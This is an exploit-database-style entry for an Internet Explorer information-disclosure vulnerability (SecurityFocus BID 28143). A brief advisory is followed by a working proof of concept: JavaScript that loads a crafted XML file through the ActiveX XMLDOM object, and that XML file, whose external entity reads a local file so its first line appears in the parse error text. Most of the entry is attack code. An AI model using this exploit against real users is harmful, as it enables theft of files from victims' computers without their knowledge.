source: https://www.securityfocus.com/bid/28143/info Microsoft Internet Explorer is prone to a remote information-disclosure vulnerability because of a flaw in the interaction between JavaScript and XML processing in Internet Explorer. To exploit this issue, an attacker must entice an unsuspecting user to visit a malicious website. Successfully exploiting this issue allows remote attackers to gain access to the first line of arbitrary files located on computers running the vulnerable application. <script language="JavaScript"> // load new XML document. var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); function XML(file,list) { /* Available error messages: ------------------------ :: parseError.errorCode :: parseError.reason :: parseError.line :: parseError.linePos :: parseError.srcText ------------------------ */ xmlDoc.async="false"; xmlDoc.validateOnParse = "true"; xmlDoc.onreadystatechange=chk; xmlDoc.load(file); if(list) { listXML(xmlDoc.documentElement) } else { document.write(xmlDoc.parseError.srcText); } } function chk() { return (xmlDoc.readyState!=4) ? false:true; } function listXML(xmlsrc) { // for valid DTD files, list the complete tree if(xmlsrc.hasChildNodes()) { document.write('<ul><li>'); document.write(xmlsrc.tagName +' => '); for(i = 0; i < xmlsrc.childNodes.length; ++i) { // recursive walk listXML(xmlsrc.childNodes(i)); } document.write('</li></ul>'); } else { document.write(xmlsrc.text); } } XML("28143.xml"); </script> ==========================================28143.xml======================================= <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <!DOCTYPE show [ <!ENTITY % name SYSTEM "file://localhost/FirefoxPortable/Data/profile/kf.txt"> %name; ]> <show> %name; </show>